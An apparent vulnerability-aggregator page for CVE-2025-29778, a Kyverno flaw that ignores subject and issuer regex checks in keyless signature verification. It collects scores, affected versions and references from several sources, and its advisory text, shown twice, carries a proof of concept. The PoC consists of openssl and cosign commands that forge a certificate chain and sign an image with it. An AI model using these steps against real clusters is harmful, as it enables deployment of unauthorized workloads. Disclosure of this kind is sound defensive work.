CVE-2025-29778
Kyverno ignores subjectRegExp and IssuerRegExp
Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to version 1.14.0-alpha.1, Kyverno ignores subjectRegExp and IssuerRegExp while verifying artifact's sign with keyless mode. It allows the attacker to deploy kubernetes resources with the artifacts that were signed by unexpected certificate. Deploying these unauthorized kubernetes resources can lead to full compromise of kubernetes cluster. Version 1.14.0-alpha.1 contains a patch for the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- High
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.8
Kyverno ignores subjectRegExp and IssuerRegExp
Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to version 1.14.0-alpha.1, Kyverno ignores subjectRegExp and IssuerRegExp while verifying artifact's sign with keyless mode. It allows the attacker to deploy kubernetes resources with the artifacts that were signed by unexpected certificate. Deploying these unauthorized kubernetes resources can lead to full compromise of kubernetes cluster. Version 1.14.0-alpha.1 contains a patch for the issue.
- Record
CVE-2025-29778- CVSS 3.1
- 5.8 Medium
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:N - Weakness
- CWE-285
- Updated
- 2026-11-02
EUVDEUVD-2025-7996
5.8
Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to version 1.14.0-alpha.1, Kyverno ignores subjectRegExp and IssuerRegExp while verifying artifact's sign with keyless mode. It allows the attacker to deploy kubernetes resources with the artifacts that were signed by unexpected certificate. Deploying these unauthorized kubernetes resources can lead to full compromise of kubernetes cluster. Version 1.14.0-alpha.1 contains a patch for the issue.
- Record
EUVD-2025-7996- CVSS 3.1
- 5.8 Medium
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-46mp-8w32-6g94
5.8
Kyverno ignores subjectRegExp and IssuerRegExp
Summary
Kyverno ignores subjectRegExp and IssuerRegExp while verifying artifact's sign with keyless mode. It allows the attacker to deploy kubernetes resources with the artifacts that were signed by unexpected certificate.
Details
Kyverno checks only subject and issuer fields when verifying an artifact's signature: https://github.com/Mohdcode/kyverno/blob/373f942ea9fa8b63140d0eb0e101b9a5f71033f3/pkg/cosign/cosign.go#L537. While there are subjectRegExp and issuerRegExp fields that can also be used for the defining expected subject and issue values. If the last ones are used then their values are not taken in count and there is no actually restriction for the certificate that was used for the image sign.
PoC
For the successful exploitation attacker needs:
- Private key of any certificate in the certificate chain that trusted by cosign. It can be certificate that signed by company's self-signed Root CA if they are using their own PKI.
- Access to container registry to push artifacts images
- Availability to deploy malicious artifacts to the kubernetes cluster
- Generate certificate that will be used for the image signing with the oidcissuer url. That can be done with the Fulcio or manually by using openssl
# Create self-signed RootCA
openssl req -x509 -newkey rsa:4096 -keyout root-ca-key.pem -sha256 -noenc -days 9999 -subj "/C=AA/L=Location/O=IT/OU=Security/CN=Root Certificate Authority" -out root-ca.pem
# Create request for the intermediate certificate
openssl req -noenc -newkey rsa:4096 -keyout intermediate-ca-key.pem -addext "subjectKeyIdentifier = hash" -addext "keyUsage = critical,keyCertSign" -addext "basicConstraints = critical,CA:TRUE,pathlen:2" -subj "/C=AA/L=Location/O=IT/OU=Security/CN=Intermediate Certificate Authority" -out intermediate-ca.csr
# Issue intermediate cert with RootCA
openssl x509 -req -days 9999 -sha256 -in intermediate-ca.csr -CA root-ca.pem -CAkey root-ca-key.pem -copy_extensions copy -out intermediate-ca.pem
# OID_1_1 is the hexadecimal representation of the oidcissuer url
OID_1_1=$(echo -n "https://me.net" | xxd -p -u)
# Create request for the leaf certificate
openssl req -noenc -newkey rsa:4096 -keyout my-key.pem -addext "subjectKeyIdentifier = hash" -addext "basicConstraints = critical,CA:FALSE" -addext "keyUsage = critical,digitalSignature" -addext "subjectAltName = email:[email protected]" -addext "1.3.6.1.4.1.57264.1.1 = DER:${OID_1_1}" -addext "1.3.6.1.4.1.57264.1.8 = ASN1:UTF8String:https://me.net" -subj "/C=AA/L=Location/O=IT/OU=Security/CN=My Cosign Certificate" -out my-cert.csr
# Issue leaf cert with Intermediate CA
openssl x509 -req -in my-cert.csr -CA intermediate-ca.pem -CAkey intermediate-ca-key.pem -copy_extensions copy -days 9999 -sha256 -out my-cert.pem
# Generate certificates chain
cat intermediate-ca.pem root-ca.pem > cert-chain.pem
- Build and push container image
- Import key and sign the image with the generated certificate
COSIGN_PASSWORD="" cosign import-key-pair --key my-key.pem --output-key-prefix=import-my-key
COSIGN_PASSWORD="" cosign sign $IMAGE_WITH_HASH --tlog-upload=false --cert my-cert.pem --cert-chain cert-chain.pem --key import-my-key.key
- Add ClusterPolicy for the Kyverno with the wrong subject and issuer regexp. Adding (Fulcio) Root CA as secret and using it in policy is optional only if cosign cannot trust it:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: check-image-keyless
spec:
validationFailureAction: Enforce
webhookTimeoutSeconds: 30
rules:
- name: check-image-keyless
match:
any:
- resources:
kinds:
- Pod
context:
- name: encodedCert
apiCall:
urlPath: "/api/v1/namespaces/kyverno/secrets/fulcio-ca"
method: GET
jmesPath: "data.\"fulcio-ca.pem\""
- name: root
variable:
jmesPath: "base64_decode(encodedCert)"
verifyImages:
- imageReferences:
…
- Record
GHSA-46mp-8w32-6g94- CVSS 3.1
- 5.8 Medium
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:N - Weakness
- CWE-285
- Updated
- 2026-11-02
NVD
5.8
Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to version 1.14.0-alpha.1, Kyverno ignores subjectRegExp and IssuerRegExp while verifying artifact's sign with keyless mode. It allows the attacker to deploy kubernetes resources with the artifacts that were signed by unexpected certificate. Deploying these unauthorized kubernetes resources can lead to full compromise of kubernetes cluster. Version 1.14.0-alpha.1 contains a patch for the issue.
- Record
CVE-2025-29778- CVSS 3.1
- 5.8 Medium
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:N - CVSS 3.1
- 8.0 High
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-285
- Updated
- 2026-11-02
OSV
5.8
Kyverno ignores subjectRegExp and IssuerRegExp
Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to version 1.14.0-alpha.1, Kyverno ignores subjectRegExp and IssuerRegExp while verifying artifact's sign with keyless mode. It allows the attacker to deploy kubernetes resources with the artifacts that were signed by unexpected certificate. Deploying these unauthorized kubernetes resources can lead to full compromise of kubernetes cluster. Version 1.14.0-alpha.1 contains a patch for the issue.
- Record
CVE-2025-29778- CVSS 3.1
- 5.8 Medium
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:N - Weakness
- CWE-285
- Updated
- 2026-11-02
OSVGHSA-46mp-8w32-6g94
5.8
Kyverno ignores subjectRegExp and IssuerRegExp
Summary
Kyverno ignores subjectRegExp and IssuerRegExp while verifying artifact's sign with keyless mode. It allows the attacker to deploy kubernetes resources with the artifacts that were signed by unexpected certificate.
Details
Kyverno checks only subject and issuer fields when verifying an artifact's signature: https://github.com/Mohdcode/kyverno/blob/373f942ea9fa8b63140d0eb0e101b9a5f71033f3/pkg/cosign/cosign.go#L537. While there are subjectRegExp and issuerRegExp fields that can also be used for the defining expected subject and issue values. If the last ones are used then their values are not taken in count and there is no actually restriction for the certificate that was used for the image sign.
PoC
For the successful exploitation attacker needs:
- Private key of any certificate in the certificate chain that trusted by cosign. It can be certificate that signed by company's self-signed Root CA if they are using their own PKI.
- Access to container registry to push artifacts images
- Availability to deploy malicious artifacts to the kubernetes cluster
- Generate certificate that will be used for the image signing with the oidcissuer url. That can be done with the Fulcio or manually by using openssl
# Create self-signed RootCA
openssl req -x509 -newkey rsa:4096 -keyout root-ca-key.pem -sha256 -noenc -days 9999 -subj "/C=AA/L=Location/O=IT/OU=Security/CN=Root Certificate Authority" -out root-ca.pem
# Create request for the intermediate certificate
openssl req -noenc -newkey rsa:4096 -keyout intermediate-ca-key.pem -addext "subjectKeyIdentifier = hash" -addext "keyUsage = critical,keyCertSign" -addext "basicConstraints = critical,CA:TRUE,pathlen:2" -subj "/C=AA/L=Location/O=IT/OU=Security/CN=Intermediate Certificate Authority" -out intermediate-ca.csr
# Issue intermediate cert with RootCA
openssl x509 -req -days 9999 -sha256 -in intermediate-ca.csr -CA root-ca.pem -CAkey root-ca-key.pem -copy_extensions copy -out intermediate-ca.pem
# OID_1_1 is the hexadecimal representation of the oidcissuer url
OID_1_1=$(echo -n "https://me.net" | xxd -p -u)
# Create request for the leaf certificate
openssl req -noenc -newkey rsa:4096 -keyout my-key.pem -addext "subjectKeyIdentifier = hash" -addext "basicConstraints = critical,CA:FALSE" -addext "keyUsage = critical,digitalSignature" -addext "subjectAltName = email:[email protected]" -addext "1.3.6.1.4.1.57264.1.1 = DER:${OID_1_1}" -addext "1.3.6.1.4.1.57264.1.8 = ASN1:UTF8String:https://me.net" -subj "/C=AA/L=Location/O=IT/OU=Security/CN=My Cosign Certificate" -out my-cert.csr
# Issue leaf cert with Intermediate CA
openssl x509 -req -in my-cert.csr -CA intermediate-ca.pem -CAkey intermediate-ca-key.pem -copy_extensions copy -days 9999 -sha256 -out my-cert.pem
# Generate certificates chain
cat intermediate-ca.pem root-ca.pem > cert-chain.pem
- Build and push container image
- Import key and sign the image with the generated certificate
COSIGN_PASSWORD="" cosign import-key-pair --key my-key.pem --output-key-prefix=import-my-key
COSIGN_PASSWORD="" cosign sign $IMAGE_WITH_HASH --tlog-upload=false --cert my-cert.pem --cert-chain cert-chain.pem --key import-my-key.key
- Add ClusterPolicy for the Kyverno with the wrong subject and issuer regexp. Adding (Fulcio) Root CA as secret and using it in policy is optional only if cosign cannot trust it:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: check-image-keyless
spec:
validationFailureAction: Enforce
webhookTimeoutSeconds: 30
rules:
- name: check-image-keyless
match:
any:
- resources:
kinds:
- Pod
context:
- name: encodedCert
apiCall:
urlPath: "/api/v1/namespaces/kyverno/secrets/fulcio-ca"
method: GET
jmesPath: "data.\"fulcio-ca.pem\""
- name: root
variable:
jmesPath: "base64_decode(encodedCert)"
verifyImages:
- imageReferences:
…
- Record
GHSA-46mp-8w32-6g94- CVSS 3.1
- 5.8 Medium
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:N - Weakness
- CWE-285
- Updated
- 2026-11-02
OSVBIT-kyverno-2025-29778 No score
Kyverno ignores subjectRegExp and IssuerRegExp
Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to version 1.14.0, Kyverno ignores subjectRegExp and IssuerRegExp while verifying artifact's sign with keyless mode. It allows the attacker to deploy kubernetes resources with the artifacts that were signed by unexpected certificate. Deploying these unauthorized kubernetes resources can lead to full compromise of kubernetes cluster. Version 1.14.0 contains a patch for the issue.
- Record
BIT-kyverno-2025-29778- Updated
- 2026-11-02
OSVGO-2025-3562 No score
Kyverno ignores subjectRegExp and IssuerRegExp in github.com/kyverno/kyverno
Kyverno ignores subjectRegExp and IssuerRegExp in github.com/kyverno/kyverno
- Record
GO-2025-3562- Updated
- 2026-11-02
OSVopenSUSE-SU-2025:14937-1 No score
govulncheck-vulndb-0.0.20250327T184518-1.1 on GA media
These are all security issues fixed in the govulncheck-vulndb-0.0.20250327T184518-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2025:14937-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/kyverno/kyvernoGo |
1.13.0 up to 1.13.5 | 1.13.5 |
kyvernoBitnami |
before 1.14.0 | 1.14.0 |
github.com/kyverno/kyvernoGo |
1.13.0 up to 1.14.0-alpha.1 | 1.14.0-alpha.1 |
github.com/kyverno/kyvernoGo |
before 1.14.0-alpha.1 | 1.14.0-alpha.1 |
govulncheck-vulndbopenSUSE:Tumbleweed From an advisory covering 30 CVEs |
before 0.0.20250327T184518-1.1 | 0.0.20250327T184518-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-29778 is a medium vulnerability (CVSS 5.8) in Kyverno, published March 24, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.34%, the 27th percentile. Fixed in github.com/kyverno/kyverno 1.13.5.
References
github.com/kyverno/kyverno/security/advisories/GHSA-46mp-8w32-6g94
github.com/kyverno/policies/issues/1246
github.com/kyverno/kyverno/pull/12237
github.com/kyverno/kyverno/commit/8777672fb17bdf252bd2e7d8de3441e240404a60
github.com/Mohdcode/kyverno/blob/373f942ea9fa8b63140d0eb0e101b9a5f71033f3/pkg/cosign/cosign.go
nvd.nist.gov/vuln/detail/CVE-2025-29778
Show 34 moreShow less
github.com/advisories/GHSA-46mp-8w32-6g94
github.com/CVEProject/cvelistV5/tree/main/cves/2025/29xxx/CVE-2025-29778.json
github.com/kyverno/kyverno
lists.opensuse.org/archives/list/[email protected]/thread/NEVFAGUWHTVZSJTUAIU6C4S26DP2KIGB
suse.com/security/cve/CVE-2024-25132
suse.com/security/cve/CVE-2024-53348
suse.com/security/cve/CVE-2024-53351
suse.com/security/cve/CVE-2024-7598
suse.com/security/cve/CVE-2024-7631
suse.com/security/cve/CVE-2024-9042
suse.com/security/cve/CVE-2024-9900
suse.com/security/cve/CVE-2025-1097
suse.com/security/cve/CVE-2025-1098
suse.com/security/cve/CVE-2025-1472
suse.com/security/cve/CVE-2025-1767
suse.com/security/cve/CVE-2025-1974
suse.com/security/cve/CVE-2025-24513
suse.com/security/cve/CVE-2025-24514
suse.com/security/cve/CVE-2025-24920
suse.com/security/cve/CVE-2025-25068
suse.com/security/cve/CVE-2025-25274
suse.com/security/cve/CVE-2025-27612
suse.com/security/cve/CVE-2025-27715
suse.com/security/cve/CVE-2025-27933
suse.com/security/cve/CVE-2025-29778
suse.com/security/cve/CVE-2025-29914
suse.com/security/cve/CVE-2025-29922
suse.com/security/cve/CVE-2025-29923
suse.com/security/cve/CVE-2025-30077
suse.com/security/cve/CVE-2025-30153
suse.com/security/cve/CVE-2025-30162
suse.com/security/cve/CVE-2025-30163
suse.com/security/cve/CVE-2025-30179
suse.com/security/cve/CVE-2025-30204
Left out here: the rest of 2 source descriptions. The JSON record has them.